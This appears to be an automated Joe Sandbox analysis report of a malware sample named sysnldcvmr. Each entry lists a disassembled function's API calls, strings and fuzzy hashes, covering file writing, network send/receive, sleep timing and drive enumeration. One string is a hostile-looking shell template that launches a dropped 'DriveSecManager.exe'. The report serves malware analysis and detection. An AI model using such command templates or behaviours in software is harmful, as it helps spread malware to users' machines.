Strings

serviceType, xrefs: 0040E1A6
service, xrefs: 0040E193

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 1c5e78dc8b18edf47e620e5ac62898c9c9dab53ef6afcc05c5ff165d884242d4
Instruction ID: ad2fb0e2655c549c540ff47f191a76fdb33d2d75a9b1b61af0e22c3c344479bd
Opcode Fuzzy Hash: 1c5e78dc8b18edf47e620e5ac62898c9c9dab53ef6afcc05c5ff165d884242d4
Instruction Fuzzy Hash: 7B31CD74E0020ADBCB14CFD5D884BAFB7B9BF88304F1085A9E515A7390D7789A41CF95

Function 0040AB80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00416478,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040AC18
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040AC39
FlushFileBuffers.KERNEL32(000000FF), ref: 0040AC43
CloseHandle.KERNEL32(000000FF), ref: 0040AC4D
InterlockedExchange.KERNEL32(00415260,0000003D), ref: 0040AC5A

Strings

.Mw, xrefs: 0040AC4D

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: .Mw
API String ID: 442028454-2453323595
Opcode ID: ad2f4acdc7dc609d23620ad603f7b9ac0ec9968bfa9634d541bf1612e6ff1dda
Instruction ID: b83d763b1b95064d17473309c927232932c49c75998401e70db37280cdfd902f
Opcode Fuzzy Hash: ad2f4acdc7dc609d23620ad603f7b9ac0ec9968bfa9634d541bf1612e6ff1dda
Instruction Fuzzy Hash: 46318CB4E00208EFDB00CF94EC85FAEB775BB48300F218569E515A7390C774AA51CB59

Function 00407440 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 004074BD
Sleep.KERNEL32(000003E8), ref: 004074EC
wsprintfA.USER32 ref: 00407517
DeleteUrlCacheEntry.WININET(?), ref: 00407527
Sleep.KERNEL32(000DBBA0), ref: 0040756F

Strings

%s%s, xrefs: 0040750B

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 78ec990633dcb6ec7f944f4e4d58fe3f4f1b713779a899723d42b03c5855964e
Instruction ID: 516f793b53608c34cc4cf2fa152c24c34b7f811ac1bf05daad4eae6c0a67dd49
Opcode Fuzzy Hash: 78ec990633dcb6ec7f944f4e4d58fe3f4f1b713779a899723d42b03c5855964e
Instruction Fuzzy Hash: DB31FAB0D00218ABCB50DFA9D8887DDBBB4FB08305F1085AAE519B6291D7795AC4CF5A

Function 004063A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063A6
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 004063F4
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406421
RegCloseKey.ADVAPI32(?), ref: 0040643E

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 004063E7
NoDrives, xrefs: 00406418

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 314293f9e134081a44844c09a9b0f17b23a1eb3db84437885ffb7fb3e0008323
Instruction ID: 69498c8574f0fe75ee0e18bc350880e9ca7d597cc08e8ba402afd13981da7d97
Opcode Fuzzy Hash: 314293f9e134081a44844c09a9b0f17b23a1eb3db84437885ffb7fb3e0008323
Instruction Fuzzy Hash: AC11DD71E4020A9BDB10CFD4D946BEEBBB4FB08708F118159E911B7280D7B85695CF99

Function 0040D160 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D184

Part of subcall function 0040D250: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D290
Part of subcall function 0040D250: CloseHandle.KERNEL32(?), ref: 0040D2A9

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D1DF
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D21C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D227
DuplicateHandle.KERNEL32(00000000), ref: 0040D22E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D242

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 0f4ce32234228e51373a718084f49bdd165b62b4cc5873150e0a73e2794c4448
Instruction ID: b4a3372add05cffca1b77c7dac60b50b4844df58a08520f3d20c10534500f2db
Opcode Fuzzy Hash: 0f4ce32234228e51373a718084f49bdd165b62b4cc5873150e0a73e2794c4448
Instruction Fuzzy Hash: 6B31D6B4A00209EFDB04DF98D889F9EBBB5FB48304F1081A8E905A7391D775EA95CF54

Function 00407370 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407376
srand.MSVCRT ref: 0040737D
rand.MSVCRT ref: 00407385
Sleep.KERNEL32 ref: 00407396
StrChrA.SHLWAPI(00000000,0000007C), ref: 004073BC
Sleep.KERNEL32(000003E8), ref: 004073ED

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: c117d04b20163f9f953f828aeedb65ed40a1637f383e1ba8009b9b023e8ebc44
Instruction ID: b6b36855a0edcd25512206b50fb5473dda965f97846ebbbd8b428d1493e324f4
Opcode Fuzzy Hash: c117d04b20163f9f953f828aeedb65ed40a1637f383e1ba8009b9b023e8ebc44
Instruction Fuzzy Hash: 1D21D875E04208FBD704DF60D8856AE7B31EB45304F10C47AED026B381DA79AA80DB56

Function 00408EB0 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408EBD
_aullshr.NTDLL ref: 00408ECE
_allshl.NTDLL ref: 00408EF0
_aullshr.NTDLL ref: 00408F0C
_allshl.NTDLL ref: 00408F2E
_aullshr.NTDLL ref: 00408F4A

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: b6c741ae3234a389a253b0a23420a389dbca14ef940f6469a5e268d1ed8ccdf8
Instruction ID: 40a613cc88bb75a9b4956eb5c221db2524b4544d5556699ad57a8543b44bc28a
Opcode Fuzzy Hash: b6c741ae3234a389a253b0a23420a389dbca14ef940f6469a5e268d1ed8ccdf8
Instruction Fuzzy Hash: 3B111F32510518AB8B10EF6FC44268ABBD6EF843A1B25C136FC2CDF359D634DA514BD8

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: ad0a036109145f249a08ec8e181f2c3f15924be3383878ad7f1db0ee6fe723d0
Instruction ID: d4e165de5104959f260b85937ca272364f863e3dc64df769d8e1baf9f078371f
Opcode Fuzzy Hash: ad0a036109145f249a08ec8e181f2c3f15924be3383878ad7f1db0ee6fe723d0
Instruction Fuzzy Hash: 5831A5762083009BC710DF69D884A9BBBE4AFC9714F04456EFD9897381D634D919C7E7

Function 00406460 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040646B
CoCreateInstance.OLE32(00412438,00000000,00000001,00412418,?), ref: 00406483
wsprintfW.USER32 ref: 004064B6

Strings

/c start %s & start %s\DriveSecManager.exe, xrefs: 004064AA
%comspec%, xrefs: 004064BF

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\DriveSecManager.exe
API String ID: 2038452267-3640840557
Opcode ID: 4992a1b2003cae7c91a3a7b86177e2a1dc405837f2ddce0001cb864d4f031ccd
Instruction ID: 827debbb99fb5d40cfb779b5d8ae5ab415415813199b490bc36420c15ce2df05
Opcode Fuzzy Hash: 4992a1b2003cae7c91a3a7b86177e2a1dc405837f2ddce0001cb864d4f031ccd
Instruction Fuzzy Hash: 0C31D875A40208BFDB04DF98D884FDEB7B5EF88704F208199F619A73A4C674AE81CB54

Function 0040D410 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040D429
CloseHandle.KERNEL32(?), ref: 0040D458
LeaveCriticalSection.KERNEL32(?), ref: 0040D467
DeleteCriticalSection.KERNEL32(?), ref: 0040D474

Strings

.Mw, xrefs: 0040D458

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID: .Mw
API String ID: 3102160386-2453323595
Opcode ID: 8282c1fc67bed24bc2a31477c864fcafb026bcbe456c45579f2b949671041cbb
Instruction ID: 6cfc4b79706d1bba1c4fbc1f32f5c608acb329628ab24e105d00911b1e03cc11
Opcode Fuzzy Hash: 8282c1fc67bed24bc2a31477c864fcafb026bcbe456c45579f2b949671041cbb
Instruction Fuzzy Hash: AC112D74D00208EFDB08DF94D984A9EBB75FF48309F2081A9E806AB341D734EE95DB95

Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

Part of subcall function 0040A1B0: HeapFree.KERNEL32(?,00000000,00402612,?,00402612,?), ref: 0040A20B

Strings

.Mw, xrefs: 0040135C
pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu$.Mw
API String ID: 309973729-3908477397
Opcode ID: c39a517e5d4f3b53a3b778486be7aa7f806f5e58db1bfdeefdb0bb5bfa2d2843
Instruction ID: 8798272c393d99dde58c69795aa0ec1d050c8eff8ee51a61ed5db2294712bea8
Opcode Fuzzy Hash: c39a517e5d4f3b53a3b778486be7aa7f806f5e58db1bfdeefdb0bb5bfa2d2843
Instruction Fuzzy Hash: 400186765003109BCB21AF55ECC4E9B7779AF48311B044679FD056B396C638E85487A5

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: 3b7509c36c549ccc631e3d4bc530e991b8502da243600c65769ed081249f64d8
Instruction ID: 5b2b6301c056c53cf24b756eb28b55477e9028745ee4fe4862f5ad68d4db2f6a
Opcode Fuzzy Hash: 3b7509c36c549ccc631e3d4bc530e991b8502da243600c65769ed081249f64d8
Instruction Fuzzy Hash: 1841B371604A02AFC714EB39D848797F7A4BF88310F14827EE82D933D1E735A855CB99

Function 00408A90 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408A9E
_allshl.NTDLL ref: 00408AAD
_allshl.NTDLL ref: 00408ABC
_allshl.NTDLL ref: 00408ACB
_allshl.NTDLL ref: 00408ADA

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: 6ce938123fd61f227b6de6a29a17a105f2c46d2c2b520e971cfa59f1b0e97cc1
Instruction ID: 2f682f979519ea9f46037cdaf014f1fa89077d02b7b0d9f1a8f9fce332e03f2e
Opcode Fuzzy Hash: 6ce938123fd61f227b6de6a29a17a105f2c46d2c2b520e971cfa59f1b0e97cc1
Instruction Fuzzy Hash: 62F03672A11419D79720EFFFD4424CAF7E59F88354B118676F818E3270E5709D1146F5

Function 00406320 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(004062FF), ref: 0040632D
QueryDosDeviceW.KERNEL32(004062FF,?,00000208), ref: 0040636C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406384

Strings

\??\, xrefs: 00406378

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 2ed414b0295d9b290f281463d65c6dfdef2d1200349873c82773e40805adb805
Instruction ID: affcc5b958b6168f9f245bae438771e9e0bc574488939cd978d138ae5b874539
Opcode Fuzzy Hash: 2ed414b0295d9b290f281463d65c6dfdef2d1200349873c82773e40805adb805
Instruction Fuzzy Hash: 4101ECB0A4020CEBCB20DF55DD496DEB7B5AB04704F01C0BAAA09A7280D6759AD5CF99

Function 00407310 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?), ref: 00407338
CreateThread.KERNEL32(00000000,00000000,00407370,00000000,00000000,00000000), ref: 0040735A
CloseHandle.KERNEL32(00000000), ref: 00407361

Strings

.Mw, xrefs: 00407361

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CloseCreateHandleThreadmemcpy
String ID: .Mw
API String ID: 2064604595-2453323595
Opcode ID: 025e05a46128585bda8c63f35f43421881db84198d69b8bbc1a6440a37f96729
Instruction ID: f93afe995e2a8aed0921a04be4342d20ba97acab7f8849ac526c8a5d2aa2879c
Opcode Fuzzy Hash: 025e05a46128585bda8c63f35f43421881db84198d69b8bbc1a6440a37f96729
Instruction Fuzzy Hash: 20F090B1A04308FBDB00DFA4EC46F9E7378BB48704F244468F908A73C1D675AA10CB59

Function 0040E770 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00406BF0,80000000,00000001,00000000,00000003,00000000,00000000,00406BF0), ref: 0040E790
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E7A5
CloseHandle.KERNEL32(000000FF), ref: 0040E7B2

Strings

.Mw, xrefs: 0040E7B2

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID: .Mw
API String ID: 1378416451-2453323595
Opcode ID: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction ID: 089911091b4f8663884f4f3f40455582f6b765449e30803f2281244f10637e16
Opcode Fuzzy Hash: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction Fuzzy Hash: FDF0C074A40308FBEB20DFA4DC49FDDBB78EB04711F208695FA05BB2D0D6B56A918B54

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 9043bbde74ed34bf2cc191a38aea973bc9bd065bac7bbf52c4b9ffe402cd0893
Instruction ID: e1641215121ef27e00d374ead4771de002ae7678dd3977a0c2b5eb1dd4af8410
Opcode Fuzzy Hash: 9043bbde74ed34bf2cc191a38aea973bc9bd065bac7bbf52c4b9ffe402cd0893
Instruction Fuzzy Hash: BE21B1B11043016FD304DF65D884A6BB7E8AF88318F004A3EF559A6291E774D948C7AA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
